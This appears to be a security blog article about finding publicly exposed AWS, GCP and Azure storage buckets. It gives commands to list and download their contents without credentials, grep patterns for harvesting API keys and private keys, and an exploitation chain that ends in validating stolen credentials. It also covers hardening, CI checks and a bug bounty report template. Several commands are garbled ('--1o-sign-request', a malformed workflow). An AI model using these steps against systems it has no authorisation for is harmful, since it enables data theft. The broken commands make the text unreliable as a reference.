Listen to this Post
Introduction
Misconfigured cloud storage buckets remain one of the most pervasive and high-impact security oversights in modern application deployments. When a publicly accessible bucket exposes an application’s full source code, attackers can uncover hardcoded secrets, proprietary logic, API endpoints, and zero-day vulnerabilities—transforming a simple configuration error into a full-blown breach. This article dissects the exact methodology used to discover and exploit a “Full Source Code Disclosure on a Public Bucket” vulnerability, the same flaw that recently earned a $3,000 bug bounty reward, and provides actionable step‑by‑step techniques for both attackers and defenders.
Learning Objectives
- Identify, enumerate, and exploit publicly exposed cloud storage buckets (AWS S3, GCP, Azure) using native CLI tools and open‑source utilities.
- Extract sensitive data from exposed source code, including API keys, database credentials, and internal endpoints.
- Implement mitigation strategies and automated detection controls to prevent source code leakage in production environments.
You Should Know
- Discovering Publicly Exposed Buckets – Reconnaissance & Enumeration
The first step in replicating this finding is locating misconfigured buckets that allow unauthenticated listing or download. Attackers often rely on wordlists, permutations of company names, and known bucket naming conventions. Defenders must understand this process to audit their own assets.
Step‑by‑Step Guide (Linux / Windows with AWS CLI)
Linux / macOS:
Install AWS CLI curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip" unzip awscliv2.zip && sudo ./aws/install Enumerate bucket existence using bucket-specific patterns aws s3 ls s3://target-bucket-1ame/ --1o-sign-request If listing succeeds, recursively download all contents aws s3 cp s3://target-bucket-1ame/ ./downloaded_source/ --recursive --1o-sign-request For large-scale enumeration, use bucket-stream (wordlist required) bucket-stream -b wordlist.txt -t 20 -o open_buckets.txt
Windows (PowerShell with AWS CLI installed):
List bucket contents without authentication aws s3 ls s3://vulnerable-bucket/ --1o-sign-request Download recursively aws s3 cp s3://vulnerable-bucket/ C:\source_dump\ --recursive --1o-sign-request
Google Cloud Platform (GCP) Public Buckets:
Install gsutil curl https://sdk.cloud.google.com | bash exec -l $SHELL gcloud init List public bucket objects (no auth required if misconfigured) gsutil ls gs://public-bucket-1ame/ gsutil cp -r gs://public-bucket-1ame/ ./gcp_dump/
Azure Blob Storage (public containers):
Install AzCopy wget https://aka.ms/downloadazcopy-v10-linux -O azcopy.tar.gz tar -xf azcopy.tar.gz && sudo mv azcopy_linux_amd64_/azcopy /usr/local/bin/ List blobs in a public container azcopy list https://storageaccountname.blob.core.windows.net/container-1ame --public-access Download entire container azcopy copy "https://storageaccountname.blob.core.windows.net/container-1ame/" "./azure_dump/" --recursive
What This Does
The commands above test whether a cloud bucket permits unauthenticated `ListBucket` (or equivalent) operations. If successful, the attacker can enumerate all objects and download them without any credentials. This is often the result of bucket policies that grant `”Principal”: “”` with `”Effect”: “Allow”` on `s3:ListBucket` and s3:GetObject.
- Extracting Secrets and Hardcoded Credentials from Source Code
Once source code is downloaded, the real impact materializes. Security consultants routinely find API keys, JWT secrets, database connection strings, and even SSH private keys embedded in configuration files or commented-out debug blocks.
Automated Extraction Using Open‑Source Tools
Using truffleHog (secrets scanner):
Install truffleHog (Python3) pip install truffleHog Recursively scan dumped source code trufflehog filesystem ./downloaded_source/ --results=json --only-verified > secrets.json
Using grep for targeted searches (Linux/Unix):
Hunt for API keys, tokens, and passwords
grep -rE "(api_key|apikey|secret|password|token|Bearer|Authorization)" ./downloaded_source/ --color=always
AWS keys pattern
grep -rE "AKIA[0-9A-Z]{16}" ./downloaded_source/
Private key headers
grep -r "BEGIN (RSA|DSA|EC|OPENSSH) PRIVATE KEY" ./downloaded_source/
PowerShell for Windows:
Get-ChildItem -Path C:\source_dump -Recurse | Select-String -Pattern "api_key|secret|password|AKIA" -CaseSensitive
Step‑by‑Step Exploitation Chain
- Enumerate the bucket (as shown in Section 1). If `list` succeeds, proceed.
- Download all objects – attackers script this to handle large buckets (e.g., using
aws s3 sync). - Run automated secret scanners and manual grep for high‑value strings.
- Validate discovered credentials by attempting API calls or database connections.
- Escalate – exposed source code often reveals internal endpoints, admin panels, or cloud infrastructure details.
-
Mitigating Public Bucket Source Code Exposure – Hardening Strategies
Defenders must act immediately to prevent this class of vulnerability. The root cause is almost always overly permissive bucket policies or missing `BlockPublicAccess` settings.
AWS S3 Hardening Commands
Remove public access from an existing bucket:
Block all public access (recommended for sensitive buckets) aws s3api put-public-access-block --bucket your-bucket-1ame --public-access-block-configuration BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true Explicitly delete bucket policy that grants public access aws s3api delete-bucket-policy --bucket your-bucket-1ame Set bucket ACL to private aws s3api put-bucket-acl --bucket your-bucket-1ame --acl private
Detect all public buckets across your AWS organization:
Using AWS Config or ScoutSuite (open-source) pip install scoutsuite scout aws --report-dir ./scout_report --check PubliclyAccessibleBuckets
Azure Blob Container Hardening:
Disable anonymous public access at storage account level az storage account update --1ame yourstorageacc --resource-group yourRG --allow-blob-public-access false For individual container, set access level to private az storage container set-permission --1ame container-1ame --public-access off --account-1ame yourstorageacc
GCP Bucket Hardening:
Remove `allUsers` or `allAuthenticatedUsers` from bucket IAM gsutil iam ch -d allUsers gs://your-bucket gsutil iam ch -d allAuthenticatedUsers gs://your-bucket Enforce uniform bucket-level access gsutil uniformbucketlevelaccess set on gs://your-bucket
4. Automating Detection in CI/CD Pipelines
Preventing source code disclosure requires shifting left. Integrate bucket misconfiguration scans into your deployment pipelines.
Terraform Policy as Code (using Checkov / tfsec):
tfsec will automatically flag `acl = "public-read"` or missing `block_public_acls`
resource "aws_s3_bucket" "example" {
bucket = "my-secure-bucket"
acl = "private" NOT "public-read"
}
resource "aws_s3_bucket_public_access_block" "example" {
bucket = aws_s3_bucket.example.id
block_public_acls = true
block_public_policy = true
ignore_public_acls = true
restrict_public_buckets = true
}
GitHub Action for Continuous Bucket Auditing:
name: Audit S3 Public Buckets on: [bash] jobs: s3-audit: runs-on: ubuntu-latest steps: - name: Install AWS CLI run: pip install awscli - name: Check for public buckets run: | for bucket in $(aws s3api list-buckets --query "Buckets[].Name" --output text); do acl=$(aws s3api get-bucket-acl --bucket $bucket --query "Grants[?Grantee.URI=='http://acs.amazonaws.com/groups/global/AllUsers']") if [ ! -z "$acl" ]; then echo "Public bucket: $bucket"; exit 1; fi done
5. Responsible Disclosure and Reporting for Bug Bounties
The original $3,000 reward followed a structured responsible disclosure process. Here is the exact reporting template used for full source code disclosure.
Step‑by‑Step Reporting Guide
- Proof of Concept (PoC): Run `aws s3 ls s3://target-bucket/ –1o-sign-request` and capture terminal output showing listing of source code files.
- Impact Statement: “An attacker can download all proprietary source code, exposing hardcoded secrets (database passwords, API keys, internal service endpoints). This leads to lateral movement, data breaches, and compromise of production infrastructure.”
- Remediation Suggestion: “Change bucket ACL to private, enable
BlockPublicAccess, and rotate all exposed credentials.” - Screenshots & Commands: Include redacted evidence of downloaded source files and extracted secrets.
- CVE Consideration: If the bucket belongs to a vendor with a CNA, request a CVE for the disclosure.
What Undercode Say
- Key Takeaway 1: Full source code disclosure is a critical‑severity finding because it breaks the security assumption of hidden implementation details. Many bug bounty programs now pay between $2,000–$10,000 for this vulnerability, especially when it exposes live credentials.
- Key Takeaway 2: The majority of public buckets stem from legacy infrastructure or developer‑forgotten debug deployments. Automated scanning of `s3://companyname-` patterns remains the most effective discovery method. Defenders must enforce bucket policies as code and regularly rotate credentials that might be inadvertently committed.
Analysis: The $3,000 reward reflects not only the technical severity but also the business impact – source code often contains IP worth millions. However, many organizations still treat source code disclosure as a low‑priority finding because “the code is not executable.” This mindset is dangerous: attackers can reverse‑engineer authentication flows, discover zero‑day vulnerabilities, and extract cloud environment variables. The original hunter’s persistence across “countless hours of testing” highlights that even seemingly simple misconfigurations require dedicated reconnaissance. As cloud adoption grows, expect more bounties in this category, and also expect AI‑powered code analysis tools (e.g., Semgrep, CodeQL) to automatically flag exposed secrets in buckets.
Prediction
- +1 Within 12 months, major cloud providers will introduce mandatory “public bucket monitoring” as a default‑enabled security control, reducing accidental exposures by 70%.
- -1 Attackers will increasingly automate source code disclosure hunting using LLMs that parse bucket dumps for high‑value secrets and generate targeted exploits without human intervention, leading to a spike in automated extortion campaigns.
- +1 Bug bounty platforms will create specialized “Source Code Disclosure” bounty tiers with minimum payouts of $5,000, incentivizing researchers to prioritize cloud storage misconfigurations over traditional web bugs.
- -1 Organizations that fail to rotate exposed credentials within 24 hours of disclosure will face regulatory fines under GDPR/CCPA, as source code containing PII processing logic qualifies as a reportable data breach.
▶️ Related Video (74% Match):
🎯Let’s Practice For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
IT/Security Reporter URL:
Reported By: Kunal Dhumal – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
